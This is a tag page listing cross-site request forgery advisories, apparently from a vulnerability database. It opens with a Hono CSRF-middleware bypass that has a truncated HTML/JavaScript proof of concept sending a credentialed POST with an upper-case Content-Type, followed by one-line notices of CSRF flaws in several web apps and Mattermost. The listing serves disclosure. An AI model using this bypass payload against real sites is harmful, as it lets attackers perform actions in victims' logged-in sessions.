Tag
#csrf
### Summary Hono CSRF middleware can be bypassed using crafted Content-Type header. ### Details MIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case. https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17 As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded". ### PoC ```html <html> <head> <title>CSRF Test</title> <script defer> document.addEventListener("DOMContentLoaded", () => { document.getElementById("btn").addEventListener("click", async () => { const res = await fetch("http://victim.example.com/test", { method: "POST", credentials: "include", headers: { "Content-Type": "Application/x-www-form-urlencoded", }, }); }); }); </script> </head> <body> <h1>CSRF Test</h1> <butto...
Online Survey System version 1.0 suffers from a cross site request forgery vulnerability.
Online Shopping System Master version 1.0 suffers from a cross site request forgery vulnerability.
Online ID Generator version 1.0 suffers from a cross site request forgery vulnerability.
Mattermost versions 9.9.x <= 9.9.1, 9.5.x <= 9.5.7, 9.10.x <= 9.10.0, 9.8.x <= 9.8.2 fail to sanitize user inputs in the frontend that are used for redirection which allows for a one-click client-side path traversal that is leading to CSRF in User Management page of the system console.
Online Banking System version 1.0 suffers from a cross site request forgery vulnerability.
Music Gallery Site version 1.0 suffers from a cross site request forgery vulnerability.
Multi-Vendor Online Groceries Management System version 1.0 suffers from a cross site request forgery vulnerability.
Medical Center Portal version 1.0 suffers from a cross site request forgery vulnerability.
Event Registration and Attendance System version 1.0 suffers from a cross site request forgery vulnerability.